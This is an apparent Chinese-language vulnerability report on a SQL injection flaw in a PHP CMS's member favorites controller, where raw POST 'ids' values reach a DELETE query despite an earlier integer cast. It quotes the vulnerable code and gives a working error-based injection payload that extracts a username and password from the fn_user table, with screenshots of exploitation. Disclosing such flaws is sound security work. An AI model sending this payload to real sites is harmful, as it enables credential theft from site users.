### 简要描述:
抢先呵呵!!!
### 详细说明:
问题文件:
/controllers/member/InfoController.php
```
public function favoriteAction() {
$favorite = $this->model('favorite');
if ($this->isPostForm()) {
$ids = '';
foreach ($this->post('ids') as $i) {
$ids.= ','.(int)$i;
}
$ids = trim($ids, ',');
if (empty($ids)) {
$this->memberMsg(lang('m-inf-11'));
}
$ids = @implode(',', $this->post('ids'));
$favorite->delete('userid=' . $this->memberinfo['id'].' and id IN(' . $ids . ')');
}
$page = (int)$this->get('page');
$page = (!$page) ? 1 : $page;
.......略......
```
可以看到在第一次post获取ids值的时候全都转换成int了,但是狗血的是在后面又出现一个$ids = @implode(',', $this->post('ids'));那么只要让这里的isPostForm函数确认是通过post提交的就可以注入了,因为这个功能是收藏夹选项,默认是get访问的
再来看看isPostForm函数
在父类文件:/controllers/Common.php
```
/**
* 验证表单是否POST提交
*/
public function isPostForm($var='submit', $emp=0) {
return Controller::isPostForm($var, $emp);
}
```
默认值是submit,开始构造
在用户登录后-资料信息-我的收藏夹,点击进入后改用post提交
```
submit=ok&ids[]=-1) and extractvalue(1,concat(0x7e,(select concat(username,0x7e,password) from fn_user limit 1))
```
[<img src="https://images.seebug.org/upload/201507/01145224d2a1dd541cbfac120ffad3c38d277cb9.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/01145224d2a1dd541cbfac120ffad3c38d277cb9.png)
测试演示站点:
[<img src="https://images.seebug.org/upload/201507/011453056fc81db4bb2bad0150ad906ccd320e25.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/011453056fc81db4bb2bad0150ad906ccd320e25.png)
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201507/011453056fc81db4bb2bad0150ad906ccd320e25.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/011453056fc81db4bb2bad0150ad906ccd320e25.png)
暂无评论